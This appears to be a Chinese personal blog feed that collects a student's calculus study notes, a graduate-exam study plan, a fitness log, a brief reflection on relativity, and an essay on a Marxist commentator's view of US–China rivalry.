函数的初等特性 有界性: 设$y=f(x)$,若存在常数M>0,使得对于定义域D内的任意x,有$|f(x)|≤M$,则称f(x)在D上有界 有界的充分必要条件是函数的值域有上界和下界 单调性:设$y=f(x)$,若对于定义域D内的任意$x_1,x_2$,当$x_1 < x_2$时,有$f(x_1) < f(x_2)$,则称f(x)在D上单调递增;若对于定义域D内的任意$x_1,x_2$,当$x_1 < x_2$时,有$f(x_1) > f(x_2)$,则称f(x)在D上单调递减 奇偶性:设$y=f(x)$,定义域D关于原点对称,若对于定义域D内的任意x,有$f(-x)=-f(x)$,则称f(x)为奇函数;若对于定义域D内的任意x,有$f(-x)=f(x)$,则称f(x)为偶函数 周期性:设$y=f(x)$,若存在常数T>0,使得对于定义域D内的任意x和$x±T$,有$f(x)=f(x±T)$,则称f(x)为周期函数,T为函数f(x)的周期 1.2 极限 1.2.1 极限的定义 极限 x → a :x趋于a,不能等于a,且从左右两侧趋近 $lim_{x→a}f(x)与f(a)$无关 0<|x-a|<δ是一个去心邻域 |f(x)-A|<ε就是ε可以要取多小就取多小,要多接近A就有多接近A 左极限 右极限 若对任意的$ε>0$,存在$δ>0$,使得当$x∈(a-δ,a)$时,有$|f(x)-A|<ε$,则称A为f(x)在x=a的左极限,记作$f(a-0)$ 若对任意的$ε>0$,存在$δ>0$,使得当$x∈(a,a+δ)$时,有$|f(x)-B|<ε$,则称B为f(x)在x=a的右极限,记作$f(a+0)$ $lim_{x→a}f(x)=A$的充分必要条件是$f(a-0)=f(a+0)=A$ 对于$lim_{x→b}f(x)$,若表达式中含有$a^{\frac{h(x)}{x-b}}$或$a^{\frac{h(x)}{b-x}}$时,一定要讨论左、右极限 对于$lim_{x→a}arctan\frac{1}{x-a}$时,一定要讨论左、右极限 无穷小 若$lim_{x→a}f(x)=0$,则称f(x)是x→a时的无穷小 设$f(a)→0$,$f(b)→0$ 若$lim\frac{f(b)}{f(a)}=0$,则称f(b)是f(a)的高阶无穷小,记作$f(b)=o(f(a))$ 若$lim\frac{f(b)}{f(a)}=k(k≠0,∞)$,则称f(b)是f(a)的同阶无穷小,记作$f(b)=O(f(a))$ 特别地,若$lim\frac{f(b)}{f(a)}=1$,则称f(b)是f(a)的等价无穷小,记作$f(a)∼f(b)$ 无穷小的性质 一般性质: 0是与自变量趋向无关的无穷小 $f(x)=3(x-1)^2$,当$x→1$时为无穷小,当$x→a(a≠1)$时不是无穷小 有限个无穷小的和差是无穷小 有界函数或常数与无穷小的乘积是无穷小 无穷大:若$lim_{x→a}\frac{1}{f(x)}=0$,则称f(x)是x→a时的无穷大 等价性质: aa_1,bb_1,且$lim\frac{b_1}{a_1}=A$,则$lim\frac{b}{a}=A$ 常见等价无穷小: 1.2.2 极限的性质 一般性质 唯一性 若极限存在,则极限一定唯一 证明: 典型例题: 保号性 设$lim_{x→a}f(x)=A>0(A<0),则存在$δ>0$,使得当$0<|x-a|<δ$时,有$f(x)>0(f(x)<0)$ 证明: 典型例题: $f’(x)=0,lim_{x→a}\frac{f’(x)}{(x-1)^3}=-2,问x=1是极值点吗?$ 解: $\because lim_{x→a}\frac{f’(x)}{(x-1)^3}=-2$ $\therefore \exists \delta>0,当0<|x-1|<\delta时,\frac{f’(x)}{(x-1)^3}<0$ $$ \begin{cases} f’(x)>0 & , x \in (1-\delta,1) \ f’(x)<0 & , x \in (1,1+\delta) \end{cases} $$ $ \therefore x=1是f(x)的极大值 $ 有界性 数列极限的有界性 若数列极限存在,则数列必有界,反之不成立 函数极限的局部有界性 若$lim_{x→a}f(x)=A$,则存在$\delta$>0,M>0,使得当$0<|x-a|<\delta$时,有$|f(x)|<M$ 证明: 取$ε=1$,则存在$δ>0$,使得当$0<|x-a|<δ$时,有$|f(x)-A|<1$,则$|f(x)|<|A|+1$,(||f(x)|-|A||≤|f(x)-A|<1) 取$M=|A|+1$,则有$|f(x)|≤M$ ε是极限定义中的任意小正数 典型例题: 数列极限与子列极限的关系 若数列有极限,则数列的任意子列都有相同的极限 若某一子列有极限,则该数列不一定有极限 存在性质 夹逼定理(迫敛定理) $$ 设 \begin{cases} f(x)≤g(x)≤h(x) , \ limf(x)=limh(x)=A , \end{cases} 则limg(x)=A $$ 证明: 典型例题: 次数不齐可能用夹逼定理 存在数列,求$lim_{n→∞}\frac{n^2}{2^n}$? 解: $ n充分大时,2^n=(1+1)^n=C^{0}{n}+C^{1}{n}+…+C^{n}{n}≥C^{3}{n}=\frac{n(n-1)(n-2)}{6}$ $ \therefore 0<\frac{n^2}{2^n}≤\frac{6n^2}{n(n-1)(n-2)}$ $ \because lim_{n→∞}\frac{6n^2}{n(n-1)(n-2)},lim_{n→∞}0=0$ $ \therefore lim_{n→∞}\frac{n^2}{2^n}=0$ $f(x)=lim_{n→∞}\sqrt[n]{x^n+x^{2n}}(x>0)$,求f(x)? x可以看作正常数,n是变量 解: $当0<x≤1时,x^n≤x^n+x^{2n}≤2x^{n}$ $ \therefore x≤\sqrt[n]{x^n+x^{2n}}≤2^{\frac{1}{n}}x$ $ \because lim_{n→∞}x=lim_{n→∞}2^{\frac{1}{n}}x=x$ $ \therefore lim_{n→∞}\sqrt[n]{x^n+x^{2n}}=x$ $ 当x>1时,x^{2n}≤x^n+x^{2n}≤2x^{2n}$ $ \therefore x^2≤\sqrt[n]{x^n+x^{2n}}≤2^{\frac{1}{n}}x^2$ $ \because lim_{n→∞}x^2=lim_{n→∞}2^{\frac{1}{n}}x^2=x^2$ $ \therefore lim_{n→∞}\sqrt[n]{x^n+x^{2n}}=x^2$ $$ 综上所述, \begin{cases} x & , 0<x≤1 \ x^2 & , x>1 \end{cases} $$ $求lim_{n→∞}(\frac{1}{\sqrt{n^2+1}}+\frac{1}{\sqrt{n^2+2}}+…+\frac{1}{\sqrt{n^2+n}})$ 解: $ \frac{n}{\sqrt{n^2+n}}<\frac{1}{\sqrt{n^2+1}}+\frac{1}{\sqrt{n^2+2}}+…+\frac{1}{\sqrt{n^2+n}}<\frac{n}{\sqrt{n^2+1}}$ $ \because lim_{n→∞}\frac{n}{\sqrt{n^2+n}}=lim_{n→∞}\frac{1}{\sqrt{1+\frac{1}{n}}}=1$,同理$lim_{n→∞}\frac{n}{\sqrt{n^2+1}}=1$ $ \therefore lim_{n→∞}(\frac{1}{\sqrt{n^2+1}}+\frac{1}{\sqrt{n^2+2}}+…+\frac{1}{\sqrt{n^2+n}})=1$ 单调有界定理 单调有界的数列必有极限 证明:不用证明,记着就行 典型例题: note: ${a_n}有界⇔a_n有上界,有下界$ ${a_n}单调递增$ case 1:${a_n}无上界$ $⇒lim_{n→∞}a_n=+∞$ case 2:$\exists M_0,a_n≤M_0$ $⇒lim_{n→∞}a_n \exists$ ${a_n}单调递减$ case 1:${a_n}无下界$ $⇒lim_{n→∞}a_n=-∞$ case 2:$\exists m_0,a_n≥m_0$ $⇒lim_{n→∞}a_n \exists$ 重要不等式: $当x≥0时,sinx≤x$ $当x≥-1时,ln(1+x)≤x$ $当x>0时,e^x≥1+x$ 小结论: 设a,b,c>0则$lim_{n→∞}(a^n+b^n+c^n)^{\frac{1}{n}}=max(a,b,c)$ 1.2.3 重要极限 $lim_{\triangle→0}\frac{sin\triangle}{\triangle}=1$ $lim_{\triangle→0}(1+\triangle)^{\frac{1}{\triangle}}=e$ $0<a<\pi/2时,sina<α<tana$ 1.2.4 极限的运算法则 四则运算法则 设$lim_{x→a}f(x)=A,lim_{x→a}g(x)=B$,则: $lim_{x→a}[f(x)±g(x)]=A±B$ $lim_{x→a}[f(x)·g(x)]=A·B$ $lim_{x→a}\frac{f(x)}{g(x)}=\frac{A}{B}(B≠0)$ 复合函数的极限 设$lim_{u→a}f(u)=A,lim_{x→x_0}g(x)=a$,且$g(x)≠a$,则:$lim_{x→x_0}f[g(x)]=A$ 设$lim_{u→a}f(u)=f(a),lim_{x→x_0}g(x)=a$,则:$lim_{x→x_0}f[g(x)]=f(a)$ 1.2.5 points 极限趋于∞,则不属于存在极限 1.3 连续与间断 1.3.1 连续与间断的定义 连续 case 1: $f(x)$在$x=a$连续 如果$lim_{x→a}f(x)=f(a)$或$f(a-0)=f(a+0)=f(a)$,则称f(x)在x=a连续 如果 f(a+0)=f(a),则称f(x)在x=a右连续 如果 f(a-0)=f(a),则称f(x)在x=a左连续 case 2: $f(x)$在$[a,b]$连续: 若满足: f(x)在(a,b)上任意一点连续 f(a)=f(a+0) f(b)=f(b-0) 则称f(x)在$[a,b]$连续,记作$f(x)∈C[a,b]$ 间断 若$f(a)≠lim_{x→a}f(x)$,则称f(x)在x=a处不连续,x=a称为间断点 间断点的分类: 第一类间断点: $f(a-0),f(a+0)$存在,其中: 1 $f(a-0)=f(a+0)≠f(a)$,称为可去间断点 2 $f(a-0)≠f(a+0)$,称为跳跃间断点 第二类间断点: $f(a-0),f(a+0)$至少有一个不存在,其中: 1 $f(a-0),f(a+0)$至少有一个为无穷大,称为无穷间断点 典型例题: $f(x)=\frac{x^{\frac{1}{x}}}{1+2^{\frac{1}{x}}}·\frac{x^2+x-2}{x^2-1}$ 解: $f(x)=\frac{x^{\frac{1}{x}}}{1+2^{\frac{1}{x}}}·\frac{x^2+x-2}{x^2-1}=\frac{x^{\frac{1}{x}}(x+2)(x-1)}{(1+2^{\frac{1}{x}})(x+1)(x-1)}$ $\therefore x=0,x=1, x=-1为间断点$ $\because lim_{x→-1}f(x)=∞$ $\therefore x=-1为第二类间断点$ $\because f(0-0)=0 ≠ f(0+0)=2$ $\therefore x=0 为 跳跃间断点$ $\because lim_{x→1}f(x)=1$ $\therefore x=1 为 可去间断点$ 1.3.2 闭区间上连续函数的性质 最值定理: 若f(x)在闭区间[a,b]上连续,则f(x)在[a,b]上有最大值和最小值 有界定理: 若f(x)在闭区间[a,b]上连续,则f(x)在[a,b]上有界 零点定理: 若f(x)在闭区间[a,b]上连续,且$f(a)·f(b)<0$,则在(a,b)内至少有一点x_0,使得f(x_0)=0 如果题目中有$ifc\in (a,b)$,很可能使用零点定理 介值定理: 若f(x)在闭区间[a,b]上连续,对任意的$\eta\in [m,M],其中,m,M分别为f(x)在[a,b]上渠道的最小值和最大值,则存在\xi\in [a,b],使得f(\xi)=\eta$ 如果题目中有$ifc\in [a,b]$或函数值之和,很可能使用零点定理 典型例题: $f(x)\in C[0,2],f(0)+2f(1)+3f(2)=12,求证: \exists\xi\in[0,2],f(\xi)=2$ 证:$\because f(x)\in C[0,2]$ $\therefore \exists m,M 6m≤f(0)+2f(1)+3f(2)≤6M$ $m≤2≤M$ $\therefore \exists \xi \in [0,2] ,使f(\xi)=2$ (介值定理) 积分中值定理$设f(x)\in C[a,b],证明\exists\xi\in[a,b],使得\int_{a}^{b}f(x)dx=f(\xi)(b-a)$ 证:$\because f(x)\in C[a,b]$ $\therefore \exists m,M$ $m≤f(x)≤M$ $\therefore \int_a^bmdx≤\int_a^bf(x)dx≤\int_a^bMdx$ $\therefore m(b-a)≤\int_a^bf(x)dx≤M(b-a)$ $\therefore m≤\frac{\int_a^bf(x)dx}{b-a}≤M$ $\therefore \exists \xi \in [a,b] ,使f(\xi)=\frac{\int_a^bf(x)dx}{b-a}$ $即\exists\xi\in[a,b],使得\int_{a}^{b}f(x)dx=f(\xi)(b-a)$ (介值定理) 1.4 重点题型 1.4.1 题型一 n项和的极限 先和后极限 $lim_{n→∞}(\frac{1}{13}+\frac{1}{35}+…+\frac{1}{(2n-1)(2n+1)})$ 解: $lim_{n→∞}(\frac{1}{13}+\frac{1}{35}+…+\frac{1}{(2n-1)(2n+1)})$ $=\frac{1}{2}lim_{n→∞}(\frac{1}{1}-\frac{1}{3}+\frac{1}{3}-\frac{1}{5}+…+\frac{1}{2n-1}-\frac{1}{2n+1})$ $=\frac{1}{2}(1-0)=\frac{1}{2}$ 分子次数齐,分母次数齐,分母高一次 使用定积分重要结论 $lim_{n→∞}\frac{1}{n}\sum_{i=1}^{n}f(\frac{i-1}{n})=lim_{n→∞}\frac{1}{n}\sum_{i=1}^{n}f(\frac{i}{n})=∫_0^1f(x)dx$ $lim_{n→∞}(\frac{1}{n^2+1^2}+\frac{2}{n^2+2^2}+…+\frac{n}{n^2+n^2})$ 解: $原式=lim_{n→∞}\sum_{i=1}^{n}\frac{i}{n^2+i^2}$ $=\frac{1}{n}\sum_{i=1}^{n}\frac{\frac{i}{n}}{1+(\frac{i}{n})^2}$ $=∫_0^1\frac{x}{1+x^2}dx$ $=\frac{1}{2}∫_0^1\frac{d(1+x^2)}{1+x^2}$ $=\frac{1}{2}ln(1+x^2)|_0^1$ $=\frac{1}{2}ln2$ $lim_{n→∞}(\frac{1}{\sqrt{n^2+1^2}}+\frac{1}{\sqrt{n^2+2^2}}+…+\frac{1}{\sqrt{n^2+n^2}})$ 解: $原式=lim_{n→∞}\sum_{i=1}^{n}\frac{1}{\sqrt{n^2+i^2}}$ $=lim_{n→∞}\frac{1}{n}\sum_{i=1}^{n}\frac{1}{\sqrt{1+(\frac{i}{n})^2}}$ $=∫_0^1\frac{dx}{\sqrt{1+x^2}}$ $=ln(x+\sqrt{1+x^2})|_0^1$ $=ln(1+\sqrt{2})$ 分子或分母次数不齐,用夹逼定理 $lim_{n→∞}(\frac{1^2}{n^3+1})+(\frac{2^2}{n^3+2})+…+(\frac{n^2}{n^3+n})$ $\frac{\frac{1}{6}n(n+1)(2n+1)}{n^3+n}≤原式≤\frac{\frac{1}{6}n(n+1)(2n+1)}{n^3+1}$ $lim_{n→∞}左式=lim_{n→∞}右式=\frac{1}{3}$(分子分母同时除以$n^3$) $∴原式=\frac{1}{3}$ 1.4.2 题型二 不定型 例题见25汤家凤高数辅导讲义.pdfp16 $\frac{0}{0}$型 notes: $1^∞$型 notes: $\frac{∞}{∞}$型 notes: $0*∞$型 notes: $∞-∞$型 notes: $∞^0$型和$0^0$型 notes: $a^b->e^{lna^b}->e^{blna}$ 1.4.3 题型三 证明数列存在极限 notes: 1.4.4 题型四 连续与间断 1.0 notes !记录一下重要的等价无穷小、极限、什么时候可以用等价无穷小、极限四则运算 没事干试试分子分母同除以x,把x变成$\frac{1}{x}$ 搞清楚定义! 第二章 导数与微分 2.1 导数和微分的基本概念 2.1.1 导数的定义 导数 notes: 高阶导数 可微 notes: 2.1.2 连续、可导、可微的关系 可导和可微等价 可导必连续,连续不一定可导 2.2 求导公式与法则 2.2.1 基本导数公式 幂函数、指数函数、对数函数、三角函数、反三角函数 2.2.2 导数的四则运算 2.2.3 复合函数求导法则————链式法则 $设y=f(u),u=g(x)可导,且g’(x)≠0,则y=f[g(x)]可导,且\frac{dy}{dx}=\frac{dy}{du}·\frac{du}{dx}=f’(u)·g’(x)=f’[g(x)]·g’(x)$ 2.2.4 反函数求导法则 反函数就是y=f(x)->x=g(y)。 2.3 隐函数与参数方程确定的函数求导 例题见25汤家凤高数辅导讲义.pdfp45 2.3.1 隐函数的导数 隐函数 隐函数存在定理 2.3.2 参数方程确定的函数求导 例题: notes: 2.3.3 分段函数求导 连续性 $f(\Delta -0)=f(\Delta +0)=f(\Delta)$ x=a点存在极限,$f’{-}(a)=f’{+}(a)$ 2.3.4 高阶导数 2.0 notes 多变出几个式子互相加减 $\Delta _1 ^ {\Delta _2}$化成$e^{\Delta _2ln\Delta _1}$,如$(x+1)^{sinx}$化为$e^{sinxln(x+1)}$ 形如$\sqrt{x^2+y^2}=arctan\frac{y}{x}$的隐函数求导,将y看作g{x} 求导为$\frac{2x+2yy’}{2\sqrt{x^2+y^2}}=\frac{1}{1+(\frac{y}{x})^2}*\frac{xy’-y}{x^2}$ 第三章 一元函数微分学的应用 3.1 中值定理 3.1.1 预备知识 极值点: f'(x)的几种情况: 设f(x)在x=a处取极值,则f’(a)=0或f’(a)不存在,反之不成立 设f(x)可导且在x=a处取极值,则f’(a)=0 3.1.2 罗尔定理 f(x)∈C[a,b]————f(x)在[a,b]上连续 3.1.3 拉格朗日中值定理 3.1.4 柯西中值定理 3.1.5 洛必达法则 法则一 法则二 notes 3.1.6 泰勒中值定理 定理一 定理二 麦克劳林公式 常见麦克劳林公式 3.2 单调性与极值、凹凸性与拐点、函数作图 驻点: $f’(x)=0$的点 3.2.1 单调性 3.2.2 极值 极值判定法则: 确定定义域x∈D 求导数f’(x),求出驻点和不可导点 判别法: 3.2.3 凹凸性与拐点 凹凸性 渐近线判别 拐点 拐点判定 3.2.4 渐近线 水平渐近线 若$lim_{x→∞}f(x)=A$,则y=A是f(x)的水平渐近线 铅直渐近线 若$lim_{x→a}f(x)=∞$或$f(a-0)=∞或f(a+0)=∞$,则x=a是f(x)的铅直渐近线 斜渐近线 若$lim_{x→∞}\frac{f(x)}{x}=a(a≠0,a≠∞)$,$lim_{x→∞}[f(x)-ax]=b$,则y=ax+b是f(x)的斜渐近线 3.2.5 弧微分、曲率、曲率半径 弧微分(基本公式) 曲率与曲率半径 3.2.6 函数作图 3.2.7 重点题型 例题见25汤家凤高数辅导讲义.pdfp62 Part 1 中值定理 题型一 证明$f^{(n)}(x)=0$ notes: 题型二 待证明结论中只有一个$\xi$,不含其他字母 case 1: 证明式子两项 导数相差一阶 $\frac{f’(x)}{f(x)}=(lnf(x))'$ $\frac{f’’(x)}{f’(x)}=(lnf’(x))'$ case 2: 证明式子多于两项 导数相差非一阶 题型三 待证明结论中含有$\xi和a、b$ case 1: $a、b和\xi可分离$ case 2: $a、b和\xi不可分离$ 题型四 待证明结论中含有两个及以上中值 case 1: $结论中只含有f’(\xi) f’(\eta)$ case 2: $结论中含有两个中值项\xi \eta,但复杂度不同$ case 3: $结论中含中值项\xi \eta,且完全对等$ 题型五 待证明结论中含有$\theta$ 题型六 拉格朗日定理用法 3.2.0 notes 要证明的式子,对着构造函数 研究构造什么函数的过程在草稿纸上,不用写在卷子上

3/3/2024
articleCard.readMore

女娲补天计划2.0

前言 考虑到考研难度比高考多,加上还想学点别的,女娲补天计划2.0需要比高考的女娲补天计划提前开始(更别说这次是真从零开始)。 注意事项 考研是主线任务和核心 目标 学习考研笔试内容 学习考研加分内容 学习计算机技术 学习英语 进行流汗黄豆计划 目标内容 学习考研笔试内容 公众号 好好考研 1. 目标任务 数学一 150分 高等数学 约90分 线代 约30分 概率论与数理统计 约30分 英语一 100分 完型填空 10分 阅读理解 40分 翻译 10分 写作 30分 新题型 10分 政治 100分 马克思主义基本原理 24分 毛概 24分 近代史纲要 20分 思想品德修养 16分 形势与政策 16分 专业课408 150分 数据结构 45分 计算机组成原理 45分 操作系统 35分 计算机网络 25分 3. 目标进度 数学一 高等数学 函数 极限 连续 一元函数微积分学 向量代数与空间解析几何 多元函数的微积分学 无穷级数 常微分方程 线代 行列式 矩阵 向量 线性方程组 矩阵的特征值和特征向量 二次型 概率论与数理统计 随机事件和概率 随机变量及其概率分布 二维随机变量及其概率分布 随机变量的数字特征 大数定律和中心极限定理 数理统计的基本概念 参数估计 假设检验 题型 单选 10题 5分一题 50分 填空 6题 5分一题 30分 解答 6题 70分 教材 高等数学 同济大学数学系 线性代数 同济大学数学系 概率论与数理统计 同济大学数学系 习题书 基础阶段 基础30讲+300题,分为高数18讲+线代6讲+概率论6讲 张宇 强化阶段 高数18讲、线代9讲、概率论9讲、题源1000题 张宇 提高 复习全书+数学基础过关660 李永乐 英语一 完型填空 阅读理解 多为学术性文章 可能出现超纲词汇 翻译 5个长难句 写作 小作文 10分 大作文 20分 图画作文 新题型 标题排序、排序、七选五等 辅导书 红宝书-考研英语词汇 真题卷历年考研英语真题解析及复习思路 政治 马克思主义基本原理 毛概 近代史纲要 思想品德修养 形势与政策 教材 马克思主义基本原理概论 毛中特 思想道德修养与法律基础 中国近代史纲要 辅导书 肖秀荣 专业课408 数据结构 计算机组成原理 操作系统 计算机网络 教材 数据结构《数据结构(C 语言版)》严蔚敏; 计算机组成原理《计算机组成原理(第2 版)》 唐朔飞; 操作系统《计算机操作系统(第四版)》汤小丹; 计算机网络《计算机网络(第7 版)》谢希仁。 辅导书 王道套装****考研复习指南 学习考研加分内容 1. 目标任务 深度学习 读论文 2. 目标时间 3. 目标进度 学习计算机技术 1. 目标任务 数据结构 2. 目标时间 3. 目标进度 计划安排 2024年3月-2024年6月 初步学习 2024年6月-2024年9月 基础复习 2024年9月-2024年12月 查缺补漏 执行时间日程表 2024.4.27-2024.4.28 第零周计划 【试运行】 目标完成率 80%+ 【t1】背单词 30个 【t2】数学一 高等数学 3章/周 【p1】阿尔比恩岛屿种植 【p2】阿尔比恩 时间点 (时间点前需完成的)任务 完成情况 8:00 起床 9:00 洗漱+早餐+p1 12:00 t2 13:00 午餐+午休+处理日常事务 14:30 作业/马克思 21:30 (2h+1h)羽毛球+(1h)晚餐+(1h)(背单词+刷b站)+盈余时间2h(t2/出去玩/做自己的事) 23:00 p2+洗衣服 23:30 洗澡+晾衣服+上床睡觉 2024.4.29-2024.5.5 第一周计划 【正式开始】(g了) 目标完成率 90%+ 【t1】背单词 30个 【t2】数学一 高等数学 3章/周 【t3】软考 【t4】ctf网安 【p1】阿尔比恩岛屿种植 【p2】游戏 时间点 (时间点前需完成的)任务 完成情况 8:00 起床 9:00 洗漱+早餐+p1 10:00 t3 10:30 t2 13:00 午餐+午休+处理日常事务 14:30 作业/马克思 21:30 (2h+1h)羽毛球+(1h)晚餐+(1h)(背单词+刷b站)+盈余时间2h(t4/出去玩/做自己的事) 23:00 p2+洗衣服 23:30 洗澡+晾衣服+上床睡觉 2024.5.27-2024.6.2 第一周计划 【正式开始】 目标完成率 90%+ 【t1】背单词 50个 【t2】数学一 高等数学 3-5章/周 【t3】计算机网络 3-5章节/周 【t4】作业任务 【p1】个人兴趣开发 【p2】游戏 【p3】运动 【p4】看书 时间点 (时间点前需完成的)任务 完成情况 8:00 起床 9:00 洗漱+早餐 12:00 t2-高等数学 13:00 午餐+午休+处理日常事务 14:30 t4-作业任务/p4-看书 21:30 (2h+1h)p3-运动+(1h)晚餐+(1h)(t1-背单词+刷b站)+2h(t3-计算机网络) 23:00 p2-游戏/p1-个人兴趣开发+洗衣服 23:50 洗澡+晾衣服+上床睡觉 当前计划标记 2024.8.14-2024.8.26 第N周计划 【假期点了】 目标完成率 90%+ 【t1.1】背雅思单词 50个 【t1.2】背雅思词组 50个 【t2】数学一 高等数学 3-5章/周 【t3】数据结构 3-5章节/周 【p1】个人兴趣开发 【p2】游戏 【p3】运动 时间点 (时间点前需完成的)任务 完成情况 8:00 起床 8:10 洗漱 9:00 t1.1-背雅思单词+早餐 12:00 t2-高等数学 13:00 午餐+午休+处理日常事务 14:30 t1.2-雅思词组/p1-兴趣开发 20:30 t3-408+(2h)p3-运动 23:00 p2-游戏 23:50 洗澡+晾衣服+上床睡觉

3/2/2024
articleCard.readMore

2024健康生活计划

前言 简而言之,身材太烂,健康太差,需要进化。 计划安排 每天 跑步 一周5次 健身房无氧训练 训练细节详见#附录 一周3次 羽毛球 早睡 打卡记录 日期 跑步 健身 羽毛球 睡觉时间 例子 10km/h 20min 练肩 22:30 2024-02-25 2h男双 01:30 2024-02-26 20min L3 练肩 01:10 2024-02-27 2h男双 02:10 2024-02-28 练背 02:10 2024-02-29 10-12 500m 练胸 02:10 2024-03-01 12 600m 05:10 2024-03-02 01:40 2024-03-03 02:40 2024-03-04 男单1h 02:40 2024-03-05 03:40 2024-03-06 12 700m 练肩 01:40 2024-03-07 03:40 2024-03-08 02:40 2024-03-09 12 800m 03:40 2024-03-10 02:40 2024-03-11 双打 2h 04:30 2024-03-12 双打 03:40 2024-03-13 - 2024-03-14 - 2024-03-15 - 2024-03-16 3:40 2024-03-17 12 700m 练背 2:20 2024-03-18 双打 2h 2024-03-19 练腿 2024-03-20 2024-03-21 练胸 2024-03-22 练肩 2024-03-23 2024-03-24 双打 2h 2024-03-25 练背 2024-03-26 2024-03-27 练胸 2024-03-28 13 700m 2024-03-29 双打1h 2024-03-30 13 900m 练肩 2024-03-31 羽毛球双打 1h 2024-04-01 2024-04-02 2024-04-03 羽毛球双打 0.5h 2024-04-04 2024-04-05 2024-04-06-12 开摆 开摆 开摆 开摆 2024-04-13 羽毛球双打 2h 2024-04-14 羽毛球双打 1h 附录 这部分抽空替换为专业术语 训练部位 训练器械或方式 配重或强度 次/组 腿 杠铃下蹲 25+20+25kg 8-12个/4组 腿 后抬小腿 25kg 12个/4组 腿 夹腿 40-45kg 10个/4组 肩 哑铃上举 10-12.5kg 12个/4组 肩 哑铃交替飞鸟 6-7.5kg 12个*2/4组 肩 双飞鸟 5kg/2.5kg 12个/4组 肩 站立抬杠铃到眼睛 2.5+10+2.5kg 12个/4组 肩 坐着杠铃腿下抬 (10-20kg)*2 12个/4组 肩 后翻 6kg*2 12个/4组 背 减重引体向上 -30kg 12个/4组 背 弓步左右提哑铃 10kg 12个*2/4组 背 划船机 40-45kg 12个/4组 背 骑乘 左右手臂交替后拉 20kg 12个*2/4组 背 高位下拉 35-40kg 12个/4组 背 反向飞鸟 20-25kg 12个/4组 背 杠铃划船 15kg 12个/4组 胸 哑铃卧推 12.5-15kg 12个/4组 胸 拉胸 40-45kg 12个/4组 胸 杠铃卧推 20 + 7.5-10kg 12个/4组 胸 上斜推胸 12个/4组 手臂 哑铃弯举 7.5kg 12个/4组

2/20/2024
articleCard.readMore

时间 空间 物理学 哲学

思考 这个视频挺有意思,纠正了我一些对相对论相关的知识的错误。 有意思的地方在于,视频指出了我的认识中的一些小小漏洞,然后剖析出这个小漏洞是大问题,然后更新了更合理的版本的认识。 视频实际上没有完全看懂,其中涉及到一些数学的方法需要静心研究,但是这使得我意识到,不止是这一部分物理学知识,我的认知其实有一些可能不轻的问题。 由于儿时很喜欢课外阅读,早早学习了很多至少是了解到很多较为前沿的专有名词,量子,相对论,马克思,等等,但是这些知识的学习,很多是在没有系统的学习的情况下,只是了解了一些名词,和大概的轮廓,这在我之前很长一段的学习生活中对我有很大帮助,但是当我要接触到这一部分知识,进行认真学习时,反倒会因为一些自以为了解的错误印象,影响了学习的效果。

2/17/2024
articleCard.readMore

观阳与俄大v对话有感

前言 现在是凌晨2点,其实还有个人的事情,应该早睡养足精神的,但是看到阳的视频,发现讲的很有意思后,就又熬了夜。 这样讲不是说,啊,我为了康米,牺牲了个人,多么伟大,实际上这是滑稽的,明明是自己自控力的问题哈哈。 其实很早就关注阳了,应该是他刚来b站不久就关注了,那时候还没在b站火起来,我关注他是很早之前就了解到他了,那就要追溯到我的星星之火时期了哈哈,阳以笔名寒流急,让我看到了很多很好的观点。 阳无疑是真正的马列主义者,🐱主义者,用新点的话说,是新左派,种地论,造造。他的理论与观点也深深地影响了我。因为他这样的立场与观点,他在b站被戏称为专打逆风局。 这次的视频,是他与一名油管有大几百万关注的俄罗斯左派大V的对话,主要内容是阳向俄罗斯大v介绍了自己的观点形成的历程,跟着这条线也简单讲了自己的经历,其中不乏对一些事情的观点的阐述,个人认为不仅是了解阳的观点的一个很好的视频,也是了解真正的马列主义者的观点一个很好的视频。 看了这个视频,我又经典地燃起了不停熄灭燃起的火焰,阳的一些观点与看法确实又触动了我,引发了我的思考。 国际形势 某国与美国的必然冲突 国际形势,看着这四个字,感觉浓浓的nationalism大v的感觉哈哈,但确实我要讲的是这个。 阳在视频中提到,当前国际局势是某国作为新兴的资本主义甚至帝国主义(国家垄断资本主义,即资本主义的最高阶段)国家,对老牌帝国主义国家————美国,进行挑战,两个超级大国(阳似乎有这个意思,某国也是超级大国)争霸的局面。 关于这个观点,在国内左派里主要有两个观点,种地论和半外围论,这里我就不多讲了,网上可以搜到。在种地论的基础上,其实包括笔者在内的不少左派,即使认识到某国是帝国主义国家,与老牌帝国主义国家因为资本主义的规律,必然要冲突,也并没有阳这里讲的,*美必有一战这么严重的认识(听的挺像入关人喜欢的话哈哈)。 马列主义讲,资本主义的发展必然是需要不断扩大再生产的,一旦这个扩大再生产过程出现问题(停止扩大在生产,而不是停止生产),就是经济危机爆发的时候。因此新兴的资本主义国家在国内市场饱和后,必然要寻找外部市场,这就是帝国主义国家对外扩张的原因。这个过程是资本主义的规律,不是某个国家的政策,因此这个过程是不可避免的。 另一方面资本主义在一个国家内的发展,在经历了其蓬勃的自由竞争时期后,必然走向垄断,而最终的垄断必然和国家的权力结合,因此说资本主义国家的最终阶段是国家垄断资本主义,即帝国主义。 有了这两点,阳认为,随着某国的崛起,需要扩张市场,必然要触及到美国的海外利益,这也会伤及美国的扩大再生产,因此两者必然只能容下一个,必然要发生冲突。 当然我个人并不认为或者说,出于对生命的珍视,不希望这个冲突真的是一场实际的战争,我希望用经济或者其他方式的冲突来代替,但是仍然需要意识到,如果这场冲突真的发生,两国乃至世界人民都会受到巨大的磨难,至少至少,有一方(败者)的无产阶级会受到巨大的磨难。 无产阶级的希望 阳的这个观点引申出来,一个是战争孕育了革命。阳指出此时此刻恰如一战时的样子,冷战时的样子,两个帝国主义国家的冲突,代价是两国的无产阶级,当无产阶级意识到冲突的不正义性时,就会丧失参与这个冲突的动力,而开始将注意力放在国内,进而引发国本内的无产阶级革命。 例如美国的越南战争,当美国无产阶级感受不到参展的必要性,感受到这场战争的非正义性后,就开始了反战主义,美国也因此停止了在越南的战争;又例如俄国革命,俄罗斯在一战中的失败,进而孕育了俄国的无产阶级的革命,最终推翻了沙皇政府。 这一观点实际上也是很多左派赞成的,大家寄希望于某国(或者美国)战败后民众的觉醒,进而引发革命。但是正如阳讲的,对于究竟如何去做,冲突激化前左派应该干什么,冲突后,左派应该改什么,实际上还没有一个很好的答案。这也是一个b站up讲的,“我们需要21世纪的列宁”。 马克所给了我们资本主义的政治经济学的批判,给了我们理论,但是没有告诉我们应该如何革命,列宁和🐱给出了20世纪的革命的方法,但是时过境迁,21世纪,阶级斗争的双方都吸取了过去百年来的经验,看起来某一方胜利方吸取的比较成功,无产阶级需要新的革命方法论。 